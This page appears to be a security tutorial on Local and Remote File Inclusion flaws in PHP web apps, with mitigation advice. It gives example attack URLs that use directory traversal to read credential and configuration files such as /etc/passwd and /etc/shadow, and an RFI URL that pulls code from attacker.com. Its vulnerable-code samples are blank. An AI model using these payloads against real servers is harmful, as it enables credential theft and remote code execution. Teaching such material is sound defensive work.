> For the complete documentation index, see [llms.txt](https://fastiraz.gitbook.io/doc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://fastiraz.gitbook.io/doc/documentations/hack/lfi-rfi.md). # LFI / RFI ## Introduction Local File Inclusion (LFI) and Remote File Inclusion (RFI) are two common web application vulnerabilities that allow attackers to include arbitrary files on a vulnerable web server. These vulnerabilities can be exploited to gain unauthorized access to sensitive information, execute malicious code, and take control of the vulnerable system. In this course, we will cover the basics of LFI/RFI vulnerabilities and how to exploit them with practical examples. ## Prerequisites * Basic knowledge of web application architecture * Understanding of web application security concepts ## What is LFI/RFI? LFI is a type of vulnerability that allows an attacker to include local files on a web server. This can be used to read sensitive files such as configuration files, user credentials, and system files. LFI occurs when a web application does not properly sanitize user input and allows the attacker to specify a file path to be included. RFI is a type of vulnerability that allows an attacker to include remote files on a web server. This can be used to execute arbitrary code on the server, download and execute malware, or access sensitive information on remote servers. RFI occurs when a web application allows the attacker to specify a URL to a remote file that is then included on the server. ## Exploiting LFI/RFI vulnerabilities ### Exploiting LFI Let's consider the following PHP code: ```php ``` This code includes a file specified in the `file` parameter in the URL. If the parameter is not properly sanitized, an attacker can exploit this vulnerability by providing a path to a sensitive file on the server. For example, the following URL can be used to read the `/etc/passwd` file: ```bash http://example.com/index.php?file=../../../../etc/passwd ``` In this example, the `../` characters are used to traverse up the directory structure until the root directory is reached, and then the `/etc/passwd` file is included. ### Exploiting RFI Let's consider the following PHP code: ```php ``` This code includes a remote file specified in the `url` parameter in the URL. If the parameter is not properly sanitized, an attacker can exploit this vulnerability by providing a URL to a remote file that is then included on the server. For example, the following URL can be used to execute arbitrary code on the server: ```bash http://example.com/index.php?url=http://attacker.com/malicious-code.php ``` In this example, the `malicious-code.php` file hosted on the attacker's server is included on the vulnerable server and executed. ## Mitigating LFI/RFI vulnerabilities LFI/RFI vulnerabilities can be mitigated by properly sanitizing user input and limiting the file inclusion to a specific directory or a list of allowed files. ### Sanitizing user input All user input, especially those used in file inclusion, should be sanitized to remove any special characters or directory traversal characters. Input validation should also be used to restrict the inclusion to specific directories and files. ### Limiting file inclusion File inclusion should be limited to a specific directory or a list of allowed files. This can be done by checking the requested file against a list of allowed files or by restricting the inclusion to a specific directory. ## Useful LFI examples 1. Reading sensitive files: ```bash http://example.com/index.php?page=../../../etc/passwd ``` This example tries to include the `/etc/passwd` file by traversing up the directory structure using `../` characters. 2. Reading PHP configuration file: ```bash http://example.com/index.php?page=../../../../etc/php.ini ``` This example tries to include the `php.ini` configuration file by traversing up the directory structure using `../` characters. 3. Reading Apache configuration file: ```bash http://example.com/index.php?page=../../../../etc/apache2/apache2.conf ``` This example tries to include the `apache2.conf` configuration file by traversing up the directory structure using `../` characters. 4. Reading log files: ```bash http://example.com/index.php?page=../../../var/log/apache2/access.log ``` This example tries to include the `access.log` file by traversing up the directory structure using `../` characters. 5. Reading SSH configuration file: ```bash http://example.com/index.php?page=../../../../etc/ssh/sshd_config ``` This example tries to include the `sshd_config` configuration file by traversing up the directory structure using `../` characters. 6. Reading system files: ```bash http://example.com/index.php?page=../../../etc/shadow ``` This example tries to include the `shadow` file that contains sensitive information about user passwords by traversing up the directory structure using `../` characters. It is important to note that these examples should only be used for educational or testing purposes on systems that you have permission to access. It is illegal to attempt to exploit LFI vulnerabilities on systems without permission. ## Conclusion LFI/RFI vulnerabilities are common web application vulnerabilities that can be exploited to gain unauthorized access to sensitive information, execute malicious code, and take control of the vulnerable system. In this course, we covered the basics of LFI/RFI vulnerabilities and how to exploit them with practical examples. We also discussed how to mitigate these vulnerabilities by properly sanitizing user input and limiting the file inclusion to a specific directory or a list of allowed files. As a cybersecurity expert, it is important to understand and identify these vulnerabilities in web applications and take appropriate measures to secure them. By implementing best practices in web application security, we can reduce the risk of LFI/RFI vulnerabilities and protect our systems and sensitive data. {% embed url="" %}